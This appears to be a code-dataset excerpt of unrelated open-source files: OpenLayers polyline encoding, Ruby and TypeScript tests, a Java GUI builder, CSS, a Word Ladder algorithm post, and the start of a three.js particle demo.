ol.format.TextFeature); /** * Encode a list of n-dimensional points and return an encoded string * * Attention: This function will modify the passed array! * * @param {Array.<number>} numbers A list of n-dimensional points. * @param {number} stride The number of dimension of the points in the list. * @param {number=} opt_factor The factor by which the numbers will be * multiplied. The remaining decimal places will get rounded away. * Default is `1e5`. * @return {string} The encoded string. * @api */ ol.format.Polyline.encodeDeltas = function(numbers, stride, opt_factor) { var factor = opt_factor ? opt_factor : 1e5; var d; var lastNumbers = new Array(stride); for (d = 0; d < stride; ++d) { lastNumbers[d] = 0; } var i, ii; for (i = 0, ii = numbers.length; i < ii;) { for (d = 0; d < stride; ++d, ++i) { var num = numbers[i]; var delta = num - lastNumbers[d]; lastNumbers[d] = num; numbers[i] = delta; } } return ol.format.Polyline.encodeFloats(numbers, factor); }; /** * Decode a list of n-dimensional points from an encoded string * * @param {string} encoded An encoded string. * @param {number} stride The number of dimension of the points in the * encoded string. * @param {number=} opt_factor The factor by which the resulting numbers will * be divided. Default is `1e5`. * @return {Array.<number>} A list of n-dimensional points. * @api */ ol.format.Polyline.decodeDeltas = function(encoded, stride, opt_factor) { var factor = opt_factor ? opt_factor : 1e5; var d; /** @type {Array.<number>} */ var lastNumbers = new Array(stride); for (d = 0; d < stride; ++d) { lastNumbers[d] = 0; } var numbers = ol.format.Polyline.decodeFloats(encoded, factor); var i, ii; for (i = 0, ii = numbers.length; i < ii;) { for (d = 0; d < stride; ++d, ++i) { lastNumbers[d] += numbers[i]; numbers[i] = lastNumbers[d]; } } return numbers; }; /** * Encode a list of floating point numbers and return an encoded string * * Attention: This function will modify the passed array! * * @param {Array.<number>} numbers A list of floating point numbers. * @param {number=} opt_factor The factor by which the numbers will be * multiplied. The remaining decimal places will get rounded away. * Default is `1e5`. * @return {string} The encoded string. * @api */ ol.format.Polyline.encodeFloats = function(numbers, opt_factor) { var factor = opt_factor ? opt_factor : 1e5; var i, ii; for (i = 0, ii = numbers.length; i < ii; ++i) { numbers[i] = Math.round(numbers[i] * factor); } return ol.format.Polyline.encodeSignedIntegers(numbers); }; /** * Decode a list of floating point numbers from an encoded string * * @param {string} encoded An encoded string. * @param {number=} opt_factor The factor by which the result will be divided. * Default is `1e5`. * @return {Array.<number>} A list of floating point numbers. * @api */ ol.format.Polyline.decodeFloats = function(encoded, opt_factor) { var factor = opt_factor ? opt_factor : 1e5; var numbers = ol.format.Polyline.decodeSignedIntegers(encoded); var i, ii; for (i = 0, ii = numbers.length; i < ii; ++i) { numbers[i] /= factor; } return numbers; }; /** * Encode a list of signed integers and return an encoded string * * Attention: This function will modify the passed array! * * @param {Array.<number>} numbers A list of signed integers. * @return {string} The encoded string. */ ol.format.Polyline.encodeSignedIntegers = function(numbers) { var i, ii; for (i = 0, ii = numbers.length; i < ii; ++i) { var num = numbers[i]; numbers[i] = (num < 0) ? ~(num << 1) : (num << 1); } return ol.format.Polyline.encodeUnsignedIntegers(numbers); }; /** * Decode a list of signed integers from an encoded string * * @param {string} encoded An encoded string. * @return {Array.<number>} A list of signed integers. */ ol.format.Polyline.decodeSignedIntegers = function(encoded) { var numbers = ol.format.Polyline.decodeUnsignedIntegers(encoded); var i, ii; for (i = 0, ii = numbers.length; i < ii; ++i) { var num = numbers[i]; numbers[i] = (num & 1) ? ~(num >> 1) : (num >> 1); } return numbers; }; /** * Encode a list of unsigned integers and return an encoded string * * @param {Array.<number>} numbers A list of unsigned integers. * @return {string} The encoded string. */ ol.format.Polyline.encodeUnsignedIntegers = function(numbers) { var encoded = ''; var i, ii; for (i = 0, ii = numbers.length; i < ii; ++i) { encoded += ol.format.Polyline.encodeUnsignedInteger(numbers[i]); } return encoded; }; /** * Decode a list of unsigned integers from an encoded string * * @param {string} encoded An encoded string. * @return {Array.<number>} A list of unsigned integers. */ ol.format.Polyline.decodeUnsignedIntegers = function(encoded) { var numbers = []; var current = 0; var shift = 0; var i, ii; for (i = 0, ii = encoded.length; i < ii; ++i) { var b = encoded.charCodeAt(i) - 63; current |= (b & 0x1f) << shift; if (b < 0x20) { numbers.push(current); current = 0; shift = 0; } else { shift += 5; } } return numbers; }; /** * Encode one single unsigned integer and return an encoded string * * @param {number} num Unsigned integer that should be encoded. * @return {string} The encoded string. */ ol.format.Polyline.encodeUnsignedInteger = function(num) { var value, encoded = ''; while (num >= 0x20) { value = (0x20 | (num & 0x1f)) + 63; encoded += String.fromCharCode(value); num >>= 5; } value = num + 63; encoded += String.fromCharCode(value); return encoded; }; /** * Read the feature from the Polyline source. The coordinates are assumed to be * in two dimensions and in latitude, longitude order. * * @function * @param {Document|Node|Object|string} source Source. * @param {olx.format.ReadOptions=} opt_options Read options. * @return {ol.Feature} Feature. * @api stable */ ol.format.Polyline.prototype.readFeature; /** * @inheritDoc */ ol.format.Polyline.prototype.readFeatureFromText = function(text, opt_options) { var geometry = this.readGeometryFromText(text, opt_options); return new ol.Feature(geometry); }; /** * Read the feature from the source. As Polyline sources contain a single * feature, this will return the feature in an array. * * @function * @param {Document|Node|Object|string} source Source. * @param {olx.format.ReadOptions=} opt_options Read options. * @return {Array.<ol.Feature>} Features. * @api stable */ ol.format.Polyline.prototype.readFeatures; /** * @inheritDoc */ ol.format.Polyline.prototype.readFeaturesFromText = function(text, opt_options) { var feature = this.readFeatureFromText(text, opt_options); return [feature]; }; /** * Read the geometry from the source. * * @function * @param {Document|Node|Object|string} source Source. * @param {olx.format.ReadOptions=} opt_options Read options. * @return {ol.geom.Geometry} Geometry. * @api stable */ ol.format.Polyline.prototype.readGeometry; /** * @inheritDoc */ ol.format.Polyline.prototype.readGeometryFromText = function(text, opt_options) { var stride = ol.geom.SimpleGeometry.getStrideForLayout(this.geometryLayout_); var flatCoordinates = ol.format.Polyline.decodeDeltas( text, stride, this.factor_); ol.geom.flat.flip.flipXY( flatCoordinates, 0, flatCoordinates.length, stride, flatCoordinates); var coordinates = ol.geom.flat.inflate.coordinates( flatCoordinates, 0, flatCoordinates.length, stride); return /** @type {ol.geom.Geometry} */ ( ol.format.Feature.transformWithOptions( new ol.geom.LineString(coordinates, this.geometryLayout_), false, this.adaptOptions(opt_options))); }; /** * Read the projection from a Polyline source. * * @function * @param {Document|Node|Object|string} source Source. * @return {ol.proj.Projection} Projection. * @api stable */ ol.format.Polyline.prototype.readProjection; /** * @inheritDoc */ ol.format.Polyline.prototype.writeFeatureText = function(feature, opt_options) { var geometry = feature.getGeometry(); if (geometry) { return this.writeGeometryText(geometry, opt_options); } else { ol.asserts.assert(false, 40); // Expected `feature` to have a geometry return ''; } }; /** * @inheritDoc */ ol.format.Polyline.prototype.writeFeaturesText = function(features, opt_options) { goog.DEBUG && console.assert(features.length == 1, 'features array should have 1 item'); return this.writeFeatureText(features[0], opt_options); }; /** * Write a single geometry in Polyline format. * * @function * @param {ol.geom.Geometry} geometry Geometry. * @param {olx.format.WriteOptions=} opt_options Write options. * @return {string} Geometry. * @api stable */ ol.format.Polyline.prototype.writeGeometry; /** * @inheritDoc */ ol.format.Polyline.prototype.writeGeometryText = function(geometry, opt_options) { geometry = /** @type {ol.geom.LineString} */ (ol.format.Feature.transformWithOptions( geometry, true, this.adaptOptions(opt_options))); var flatCoordinates = geometry.getFlatCoordinates(); var stride = geometry.getStride(); ol.geom.flat.flip.flipXY( flatCoordinates, 0, flatCoordinates.length, stride, flatCoordinates); return ol.format.Polyline.encodeDeltas(flatCoordinates, stride, this.factor_); };
rcarauta/rcarauta-projects
node_modules/angular-openlayers-directive/node_modules/openlayers/src/ol/format/polyline.js
JavaScript
mit
10,745
require "spec_helper" require "yodlicious/config" describe Yodlicious::Config do describe "#base_url" do it "default value is nil" do Yodlicious::Config.base_url = nil end end describe "#cobranded_username" do it "default value is nil" do Yodlicious::Config.cobranded_username = nil end end describe "#cobranded_password" do it "default value is nil" do Yodlicious::Config.cobranded_password = nil end end describe "#proxy_url" do it "default value is nil" do Yodlicious::Config.proxy_url = nil end end describe "#base_url=" do it "can set value" do Yodlicious::Config.base_url = 'http://someurl' expect(Yodlicious::Config.base_url).to eq('http://someurl') end end describe "#cobranded_username=" do it "can set value" do Yodlicious::Config.cobranded_username = 'some username' expect(Yodlicious::Config.cobranded_username).to eq('some username') end end describe "#cobranded_password=" do it "can set value" do Yodlicious::Config.cobranded_password = 'some password' expect(Yodlicious::Config.cobranded_password).to eq('some password') end end describe "#proxy_url=" do it "can set value" do Yodlicious::Config.proxy_url = 'http://someurl' expect(Yodlicious::Config.proxy_url).to eq('http://someurl') end end end
dam13n/yodlicious
spec/unit/config_spec.rb
Ruby
mit
1,391
/** * Copyright (c) 2000,1,2,3,4,5 syntazo * * @author thanos vassilakis * */ package org.visualtrading.gui.builders.peer.lw; import org.visualtrading.gui.builders.Builder; import org.visualtrading.model.Application; import org.visualtrading.model.ModelManager; import org.visualtrading.model.User; import org.visualtrading.xml.nanoxml.XMLElement; import org.zaval.lw.LwContainer; import org.zaval.lw.LwFrame; import org.zaval.lw.event.LwFocusEvent; public abstract class FrameBuilder extends ZavalBuilder { // --------------------------- CONSTRUCTORS --------------------------- /** * */ public FrameBuilder() { super(); } // -------------------------- OTHER METHODS -------------------------- /* (non-Javadoc) * @see org.visualtrading.gui.builders.Builder#addChildren(java.lang.Object, nanoxml.XMLElement) */ public Object addChildren(Application application, Object obj, XMLElement xml) { LwFrame frame = (LwFrame) obj; LwContainer root = frame.getRoot(); root.setLwLayout(getLayout(xml)); //System.out.println(getLayout(xml)+ " : "+ xml); super.addChildren(application, root, xml); frame.repaint(); return frame; } /* (non-Javadoc) * @see XmlObject#configure(nanoxml.XMLElement) */ public void configure(XMLElement xml) { } /* (non-Javadoc) * @see org.visualtrading.gui.builders.Builder#configure(java.lang.Object, nanoxml.XMLElement) */ public Object configure(Application application, Object obj, XMLElement xml) { LwFrame frame = (LwFrame) obj; frame.setSize(getSize(xml, frame.getSize())); frame.setVisible(getBoolean(xml, "visible", frame.isVisible())); frame.setTitle(xml.getStringAttribute("title", "HiHo")); return frame; } public void focusGained(LwFocusEvent arg0) { //System.out.println("focusGained"); } public void focusLost(LwFocusEvent arg0) { // System.out.println("focusLost"); } public Class getClass(String className) { return LwFrame.class; } // --------------------------- main() method --------------------------- public static void main(String[] args) throws Exception { Builder.process(new Application() { public User getUser() { return null; } public ModelManager getModelManager() { return null; } public LwContainer getRoot() { return null; } }, ZavalBuilder.class, "frame.xml"); } }
syntazo/visualtrading
src/org/visualtrading/gui/builders/peer/lw/FrameBuilder.java
Java
mit
2,734
body { background: #fff !important; background-color: #fff !important; } h1, h2, h3{ text-transform: none !important; } h1, h2, h3 { color: #000000 !important; text-shadow: 4px 4px 30px rgba(221,221,221, 1) !important; } h1{ font-size: 100px !important; } p { color: #000000; text-shadow: 4px 4px 30px rgba(221,221,221, 1); } .reveal a { color: #000000; text-shadow: 4px 4px 30px rgba(221,221,221, 1); text-decoration: underline; } .reveal a:hover { color: #000000; text-decoration: none; } .reveal section img { margin: none; background: rgba(255, 255, 255, 0.0); border: none; box-shadow: none; } ul li{ color: #000000; text-shadow: 4px 4px 30px rgba(221,221,221, 1); } div.present { opacity: 0.7 !important; }
ev3dev-lang-java/ev3dev-lang-java.github.io
Styles/main.css
CSS
mit
812
--- layout: post category: interview tagline: "Time Limit Exceeded" tags: [lintcode, interview, java] --- {% include JB/setup %} ## Word Ladder ii TLE solution by myself: ```java public class Solution { /** * @param start, a string * @param end, a string * @param dict, a set of string * @return a list of lists of string */ public List<List<String>> findLadders(String start, String end, Set<String> dict) { List<List<String>> results = new ArrayList<List<String>>(); if (start == null || end == null || dict.size() == 0) { return results; } if (!dict.contains(start)) { dict.add(start); } if (!dict.contains(end)) { dict.add(end); } List<String> result = new ArrayList<String>(); Map<String, ArrayList<String>> cache = new HashMap<String, ArrayList<String>>(); Set<String> visited = new HashSet<String>(); int pathlength = bfsFind(start, end, dict, cache, visited); result.add(start); dfsFind(start, end, dict, cache, pathlength, result, results); return results; } private int bfsFind(String start, String end, Set<String> dict, Map<String, ArrayList<String>> cache, Set<String> visited) { int pathlength = 1; Queue<String> queue = new LinkedList<String>(); queue.offer(start); while (!queue.isEmpty()) { int size = queue.size(); for (int i = 0; i < size; i++) { String cur = queue.poll(); if (cur.equals(end)) { return pathlength; } if (!visited.contains(cur)){ visited.add(cur); List<String> nextList = findNext(cur, cache, dict); for (String next : nextList) { queue.offer(next); } } } pathlength++; } return pathlength; } private void dfsFind(String current, String end, Set<String> dict, Map<String, ArrayList<String>> cache, int pathlength, List<String> result, List<List<String>> results) { if (current.equals(end) && result.size() == pathlength) { results.add(new ArrayList<String>(result)); return; } if (result.size() < pathlength) { List<String> nextList = findNext(current, cache, dict); for (String next : nextList) { result.add(next); dfsFind(next, end, dict, cache, pathlength, result, results); result.remove(result.size() - 1); } } } private List<String> findNext(String current, Map<String, ArrayList<String>> cache, Set<String> dict) { ArrayList<String> nextList = null; if (cache.containsKey(current)) { nextList = cache.get(current); } else { nextList = new ArrayList<String>(); for (String str : dict) { if (isOneEditAway(current, str)) { nextList.add(str); } } cache.put(current, nextList); } return nextList; } private boolean isOneEditAway(String first, String second) { if (first.length() == 0 || second.length() == 0 || first.length() != second.length()) { return false; } int count = 0; for (int i = 0; i < first.length(); i++) { if (first.charAt(i) != second.charAt(i)) { count++; } } if (count == 1) { return true; } else { return false; } } } ``` Accepted solution by modifying the answer: ```java public class Solution { /** * @param start, a string * @param end, a string * @param dict, a set of string * @return a list of lists of string */ public List<List<String>> findLadders(String start, String end, Set<String> dict) { // "results" == "ladders" in answer List<List<String>> results = new ArrayList<List<String>>(); if (start == null || end == null || dict.size() == 0) { return results; } // Note: do not need to worry about duplicates dict.add(start); dict.add(end); List<String> result = new ArrayList<String>(); // "cache" == "map" in answer Map<String, ArrayList<String>> cache = new HashMap<String, ArrayList<String>>(); // Note: map distance Map<String, Integer> distance = new HashMap<String, Integer>(); bfsFind(start, end, dict, cache, distance); result.add(end); // Note: dfs from end to start dfsFind(end, start, dict, cache, distance, result, results); return results; } private void bfsFind(String start, String end, Set<String> dict, Map<String, ArrayList<String>> cache, Map<String, Integer> distance) { Queue<String> queue = new LinkedList<String>(); queue.offer(start); distance.put(start, 0); for (String s : dict) { cache.put(s, new ArrayList<String>()); } while (!queue.isEmpty()) { String cur = queue.poll(); List<String> nextList = expand(cur, dict); for (String next : nextList) { // Note: prepare for the inverse traverse cache.get(next).add(cur); // ? if (!distance.containsKey(next)) { distance.put(next, distance.get(cur) + 1); queue.offer(next); } } } } private void dfsFind(String current, String start, Set<String> dict, Map<String, ArrayList<String>> cache, Map<String, Integer> distance, List<String> result, List<List<String>> results) { if (current.equals(start)) { Collections.reverse(result); results.add(new ArrayList<String>(result)); Collections.reverse(result); return; } else { List<String> nextList = cache.get(current); for (String next : nextList) { // Note: review here if (distance.containsKey(next) && distance.get(current) == distance.get(next) + 1) { result.add(next); dfsFind(next, start, dict, cache, distance, result, results); result.remove(result.size() - 1); } } } } List<String> expand(String cur, Set<String> dict) { List<String> expansion = new ArrayList<String>(); // Note: O(l * 26 * l) for (int i = 0; i < cur.length(); i++) { for (char ch = 'a'; ch <= 'z'; ch++) { if (ch != cur.charAt(i)) { String expanded = cur.substring(0, i) + ch + cur.substring(i + 1); if (dict.contains(expanded)) { expansion.add(expanded); } } } } return expansion; } } ``` **Thank you for reading this post.**
charlesxuuu/charlesxuuu.github.io
_posts/2017-02-12-word-ladder-2-from-Lintcode.md
Markdown
mit
7,852
'use strict'; var Backbone = require('backbone'); var User = require('./User'); var AdminView = require('./AdminView'); window.app.on('start', function () { var self = this; var Users = Backbone.Collection.extend({ model: User, url: window.URL_PREFIX + '/admin/users' }); var users = self.users = new Users(); self.showAdmin = function () { users.fetch().then(function () { self.rootView.main.show(new AdminView({ collection: users })); }); }; });
ipoddubny/webcdr
public/js/admin/index.js
JavaScript
mit
502
import * as chai from 'chai'; import * as chaiAsPromised from 'chai-as-promised'; import { join } from 'path'; import * as temp from 'temp'; import { Headers } from '@angular/http'; import { execSilent, exec, abstruse, killAllProcesses } from '../e2e/utils/process'; import { sendGetRequest, sendRequest } from '../helpers/utils'; import { subDays } from 'date-fns'; chai.use(chaiAsPromised); const expect = chai.expect; let tempRoot = null; describe('Api Server Routes Unit Tests', () => { before(function() { return Promise.resolve() .then(() => process.chdir(join(__dirname, '../'))) .then(() => { tempRoot = temp.mkdirSync('abstruse-unit'); console.log(`Using "${tempRoot}" as temporary directory for server API routes units tests.`); }) .then(() => abstruse(tempRoot, false)); }); after(() => killAllProcesses()); describe('User Routes', () => { it(`create user should return success`, () => { let registerData = { email: 'test@gmail.com', fullname: 'test', password: 'test', confirmPassword: 'test', admin: 1 }; return sendRequest(registerData, 'api/user/create').then(res => { expect(res).to.deep.equal({ status: true }); }); }); it(`create user should return unauthorized error`, () => { let registerData = { email: 'test2@gmail.com', fullname: 'test2', password: 'test', confirmPassword: 'test', admin: 0 }; return sendRequest(registerData, 'api/user/create').catch(err => { expect(err).to.deep.equal({ response: { data: 'Not Authorized' }, statusCode: 401 }); }); }); it(`create user should return success`, () => { let registerData = { email: 'test2@gmail.com', fullname: 'test2', password: 'test', confirmPassword: 'test', admin: 0 }; return sendRequest({email: 'test@gmail.com', password: 'test'}, 'api/user/login') .then(jwt => { let headers = { 'abstruse-ci-token': String(jwt['data']) }; return sendRequest(registerData, 'api/user/create', headers).then(res => { expect(res).to.deep.equal({ status: true }); }); }); }); it(`get users should return unauthorized error`, () => { return sendGetRequest({}, 'api/user/').catch(err => { expect(err).to.deep.equal({ response: { data: 'Not Authorized' }, statusCode: 401 }); }); }); it(`get users should return two user`, () => { return sendRequest({email: 'test@gmail.com', password: 'test'}, 'api/user/login') .then(jwt => { let headers = { 'abstruse-ci-token': String(jwt['data']) }; return sendGetRequest({}, 'api/user/', headers).then(res => { expect(res['data'][0]['fullname']).to.equals('test'); expect(res['data'][1]['fullname']).to.equals('test2'); }); }); }); it(`login should return jwt token`, () => { return sendRequest({email: 'test@gmail.com', password: 'test'}, 'api/user/login') .then(jwt => { expect(jwt).haveOwnProperty('data'); }); }); it(`update user should return unauthorized error`, () => { let registerData = { email: 'test@gmail.com', fullname: 'test2', password: 'test', confirmPassword: 'test' }; return sendRequest(registerData, 'api/user/save').catch(err => { expect(err).to.deep.equal({ response: { data: 'Not Authorized' }, statusCode: 401 }); }); }); it(`update user should return success`, () => { return sendRequest({email: 'test@gmail.com', password: 'test'}, 'api/user/login') .then(jwt => { let headers = { 'abstruse-ci-token': String(jwt['data']) }; let registerData = { id: 1, fullname: 'test' }; return sendRequest(registerData, 'api/user/save', headers).then(res => { expect(res).to.deep.equal({ data: true }); }); }); }); it(`update password should return unauthorized error`, () => { let registerData = { email: 'test@gmail.com', fullname: 'test2', password: 'test123', confirmPassword: 'test123' }; return sendRequest(registerData, 'api/user/update-password').catch(err => { expect(err).to.deep.equal({ response: { data: 'Not Authorized' }, statusCode: 401 }); }); }); it(`update password should return success`, () => { return sendRequest({email: 'test@gmail.com', password: 'test'}, 'api/user/login') .then(jwt => { let headers = { 'abstruse-ci-token': String(jwt['data']) }; let registerData = { id: 1, email: 'test@gmail.com', fullname: 'test', password: 'test' }; return sendRequest(registerData, 'api/user/update-password', headers).then(res => { expect(res).to.deep.equal({ data: true }); }); }); }); it(`get user should return unauthorized error`, () => { return sendGetRequest({}, 'api/user/1').catch(err => { expect(err).to.deep.equal({ response: { data: 'Not Authorized' }, statusCode: 401 }); }); }); it(`get user should return success`, () => { return sendRequest({email: 'test@gmail.com', password: 'test'}, 'api/user/login') .then(jwt => { let headers = { 'abstruse-ci-token': String(jwt['data']) }; return sendGetRequest({}, 'api/user/1', headers).then(res => { expect(res['data']['fullname']).to.equals('test'); }); }); }); it(`insert token should return unauthorized error`, () => { let token = { description: 'test', token: '13fw5waf', users_id: 1 }; return sendRequest(token, 'api/user/add-token').catch(err => { expect(err).to.deep.equal({ response: { data: 'Not Authorized' }, statusCode: 401 }); }); }); it(`insert token should return success`, () => { return sendRequest({email: 'test@gmail.com', password: 'test'}, 'api/user/login') .then(jwt => { let headers = { 'abstruse-ci-token': String(jwt['data']) }; let token = { description: 'test', token: '13fw5waf', users_id: 1 }; return sendRequest(token, 'api/user/add-token', headers).then(res => { expect(res).to.deep.equal({ data: true }); }); }); }); it(`upload avatar should return error`, () => { return sendRequest({}, 'api/user/upload-avatar').catch(err => { expect(err).to.not.be.a('null'); }); }); }); describe('Repository Routes', () => { it(`get repositories should return empty array`, () => { return sendGetRequest({}, 'api/repositories/').then(repo => { expect(repo).to.deep.equal({ data: [] }); }); }); it(`get user repositories should return empty array`, () => { return sendGetRequest({}, 'api/repositories/1').then(repo => { expect(repo).to.deep.equal({ data: [] }); }); }); it(`get repository should return false`, () => { return sendGetRequest({}, 'api/repositories/id/1/1').then(repo => { expect(repo).to.deep.equal({ status: false }); }); }); it(`get repository should return false`, () => { return sendGetRequest({}, 'api/repositories/id/1').then(repo => { expect(repo).to.deep.equal({ status: false }); }); }); it(`get repository builds should return empty array`, () => { return sendGetRequest({}, 'api/repositories/1/builds/0/5').then(repo => { expect(repo).to.deep.equal({ data: [] }); }); }); it(`check repository should return error`, () => { return sendGetRequest({}, 'api/repositories/check/1').then(repo => { expect(repo).to.deep.equal({ err: null }); }); }); it(`trigger test-build should return unauthorized error`, () => { return sendGetRequest({}, 'api/repositories/trigger-test-build/1').catch(err => { expect(err).to.deep.equal({ response: { data: 'Not Authorized' }, statusCode: 401 }); }); }); it(`trigger test-build should return false`, () => { return sendRequest({email: 'test@gmail.com', password: 'test'}, 'api/user/login') .then(jwt => { let headers = { 'abstruse-ci-token': String(jwt['data']) }; return sendGetRequest({}, 'api/repositories/trigger-test-build/1', headers).then(res => { expect(res).to.deep.equal({ data: false }); }); }); }); it(`get config file should return false`, () => { return sendGetRequest({}, 'api/repositories/get-config-file/1').then(repo => { expect(repo).to.deep.equal({ data: false }); }); }); it(`get cache should return error`, () => { return sendGetRequest({}, 'api/repositories/get-cache/1').then(repo => { expect(repo).to.deep.equal({ err: null }); }); }); it(`delete cache should return unauthorized error`, () => { return sendGetRequest({}, 'api/repositories/delete-cache/1').catch(err => { expect(err).to.deep.equal({ response: { data: 'Not Authorized' }, statusCode: 401 }); }); }); it(`delete cache should return false`, () => { return sendRequest({email: 'test@gmail.com', password: 'test'}, 'api/user/login') .then(jwt => { let headers = { 'abstruse-ci-token': String(jwt['data']) }; return sendGetRequest({}, 'api/repositories/delete-cache/1', headers).then(res => { expect(res).to.deep.equal({ data: false }); }); }); }); }); describe('Build Routes', () => { it(`get builds should return empty array`, () => { return sendGetRequest({}, `api/builds/limit/5/offset/0/''/`).then(res => { expect(res).to.deep.equal({ data: [] }); }); }); it(`get build should return unauthorized error`, () => { return sendGetRequest({}, 'api/builds/1').catch(err => { expect(err).to.deep.equal({ response: { data: 'Not Authorized' }, statusCode: 401 }); }); }); it(`get build should return empty object`, () => { return sendRequest({email: 'test@gmail.com', password: 'test'}, 'api/user/login') .then(jwt => { let headers = { 'abstruse-ci-token': String(jwt['data']) }; return sendGetRequest({}, 'api/builds/1', headers).then(res => { expect(res).to.deep.equal({}); }); }); }); }); describe('Job Route', () => { it(`get job should return unauthorized error`, () => { return sendGetRequest({}, `api/jobs/1`).catch(err => { expect(err).to.deep.equal({ response: { data: 'Not Authorized' }, statusCode: 401 }); }); }); it(`get job should return empty object`, () => { return sendRequest({email: 'test@gmail.com', password: 'test'}, 'api/user/login') .then(jwt => { let headers = { 'abstruse-ci-token': String(jwt['data']) }; return sendGetRequest({}, `api/jobs/1`, headers).then(res => { expect(res).to.deep.equal({}); }); }); }); }); describe('Token Route', () => { it(`get tokens should return unauthorized error`, () => { return sendGetRequest({}, `api/tokens`).catch(err => { expect(err).to.deep.equal({ response: { data: 'Not Authorized' }, statusCode: 401 }); }); }); it(`get tokens should return return token`, () => { return sendRequest({email: 'test@gmail.com', password: 'test'}, 'api/user/login') .then(jwt => { let headers = { 'abstruse-ci-token': String(jwt['data']) }; return sendGetRequest({}, `api/tokens`, headers).then(res => { expect(res['data'][0]['description']).to.equals('test'); expect(res['data'][0]['users_id']).to.equal(1); expect(res['data'][0]['id']).to.equal(1); }); }); }); }); describe('Badge Routes', () => { it(`get badge should return badge html`, () => { return sendGetRequest({}, `badge/1`).then(res => { expect(res).to.include('<svg'); }); }); it(`get badge should return error`, () => { return sendGetRequest({}, `badge/Izak88/bterm`) .then(res => expect(res).to.deep.equal({ status: false })); }); }); describe('Setup Routes', () => { it(`ready should return true`, () => { return sendGetRequest({}, `api/setup/ready`).then(res => { expect(res).to.deep.equal({ data: true }); }); }); it(`db should return true`, () => { return sendGetRequest({}, `api/setup/db`).then(res => { expect(res).to.deep.equal({ data: true }); }); }); it(`status should return true`, () => { return sendGetRequest({}, `api/setup/status`).then(res => { expect(res).to.deep.equal({ data: { docker: true, dockerRunning: true, sqlite: true, git: true } }); }); }); it(`docker-image should return true`, () => { return sendGetRequest({}, `api/setup/docker-image`).then(res => { expect(res).to.deep.equal({ data: true }); }); }); it(`login-required should return false`, () => { return sendGetRequest({}, `api/setup/login-required`).then(res => { expect(res).to.deep.equal({ data: false }); }); }); it(`db init should return true`, () => { return sendRequest({}, `api/setup/db/init`).catch(err => { expect(err).to.deep.equal({ response: { data: 'Not Authorized' }, statusCode: 401 }); }); }); }); describe('Permission Routes', () => { it(`get repository permission should return false`, () => { return sendGetRequest({}, `api/permissions/repository/1/user`).then(res => { expect(res).to.deep.equal({ status: false }); }); }); it(`get repository user permission should return false`, () => { return sendGetRequest({}, `api/permissions/repository/1/user/1`).then(res => { expect(res).to.deep.equal({ status: false }); }); }); it(`get builds permission should return false`, () => { return sendGetRequest({}, `api/permissions/build/1/user/1`).then(res => { expect(res).to.deep.equal({ data: false }); }); }); it(`get job permission should return false`, () => { return sendGetRequest({}, `api/permissions/job/1/user/1`).then(res => { expect(res).to.deep.equal({ data: false }); }); }); }); describe('Environment Variable Routes', () => { it(`add variable should return unauthorized error`, () => { return sendRequest({}, 'api/variables/add').catch(err => { expect(err).to.deep.equal({ response: { data: 'Not Authorized' }, statusCode: 401 }); }); }); it(`add variable should return true`, () => { return sendRequest({email: 'test@gmail.com', password: 'test'}, 'api/user/login') .then(jwt => { let headers = { 'abstruse-ci-token': String(jwt['data']) }; let variable = { repositories_id: 1, name: 'test', value: 'test', encrypted: 1 }; return sendRequest(variable, 'api/variables/add', headers).then(res => { expect(res).to.deep.equal({ data: true }); }); }); }); it(`remove variable should return unauthorized error`, () => { return sendGetRequest({}, 'api/variables/remove/1').catch(err => { expect(err).to.deep.equal({ response: { data: 'Not Authorized' }, statusCode: 401 }); }); }); it(`remove variable should return true`, () => { return sendRequest({email: 'test@gmail.com', password: 'test'}, 'api/user/login') .then(jwt => { let headers = { 'abstruse-ci-token': String(jwt['data']) }; return sendGetRequest({}, 'api/variables/remove/1', headers).then(res => { expect(res).to.deep.equal({ data: true }); }); }); }); }); describe('Stats Routes', () => { it(`get job-runs should return data`, () => { return sendGetRequest({}, `api/stats/job-runs`).then(res => { expect(res).haveOwnProperty('data'); }); }); it(`get job-runs should return data`, () => { const dateFrom = subDays(new Date(), 7); const dateTo = new Date(); return sendGetRequest({}, `api/stats/job-runs/${dateFrom}/${dateTo}`).then(res => { expect(res).haveOwnProperty('data'); }); }); }); describe('Logs Route', () => { it(`get logs should return logs`, () => { return sendGetRequest({}, `api/logs/5/0/all`).then(res => { expect(res).haveOwnProperty('data'); }); }); }); describe('Keys Route', () => { it(`get key should return the key`, () => { return sendGetRequest({}, `api/keys/public`).then(res => { expect(res['key']).to.include('---BEGIN PUBLIC KEY---'); }); }); }); describe('Images Route', () => { it(`get images should return images data`, () => { return sendGetRequest({}, `api/images`).then(res => { expect(res).haveOwnProperty('data'); }); }); }); });
irmana/abstruse
tests/unit/050_new-server-api-routes.spec.ts
TypeScript
mit
17,442
var App = function() { if(!App.supportsWebGL) { document.body.className = 'app--broken'; return; } THREE.ImageUtils.crossOrigin = 'Anonymous'; this.camera = this.getCamera(); this.gravitationPoints = this.getGravitationPoints(); this.isInside = true; this.renderer = new THREE.WebGLRenderer({ antialias: true }); this.scene = new THREE.Scene(); this.skybox = this.getSkybox(); this.scene.add(this.skybox); this.timer = new Timer(); this.timer.multiplier = 1 / 16; this.resize(); this.render(); this.addEventHandlers(); document.body.appendChild(this.renderer.domElement); }; App.prototype.addEventHandlers = function() { document.getElementById('btn-fullscreen').onclick = this.fullscreen.bind(this); document.getElementById('btn-start-low').onclick = (function() { this.start(0); }).bind(this); document.getElementById('btn-start-medium').onclick = (function() { this.start(1); }).bind(this); document.getElementById('btn-start-high').onclick = (function() { this.start(2); }).bind(this); document.getElementById('btn-start-ultra').onclick = (function() { this.start(3); }).bind(this); window.onkeydown = this.keydownHandler.bind(this); window.onresize = this.resize.bind(this); }; App.prototype.start = function(quality) { this.controls = new THREE.OrbitControls(this.camera.outside); this.controls.noPan = true; this.controls.noKeys = true; this.particles = this.getParticles(quality); this.scene.add(this.particles); document.body.className = 'app--simulation'; }; /******************************** * GETTERS ********************************/ App.prototype.getCamera = function() { var camera = { inside: new THREE.PerspectiveCamera(30, 1, 0.1, 10000), outside: new THREE.PerspectiveCamera(35, 1, 0.1, 10000) }; camera.outside.position.set(0, 0, 50); return camera; }; App.prototype.getGravitationPoints = function() { // Turns out I only need one... oh well! return [ new GravitationPoint(50, new THREE.Vector3(0, 0, 0)) ]; }; App.prototype.getParticles = function(quality) { var pcount = { min: 1 << 12, max: 1 << 16 }; var psize = { min: 0.5, max: 2 }; var particles = Math.floor(pcount.min + (pcount.max - pcount.min) * (quality / 3)); var size = psize.max - (psize.max - psize.min) * (quality / 3); var map; if(quality > 0) { map = THREE.ImageUtils.loadTexture('assets/textures/particle.png'); } else { map = 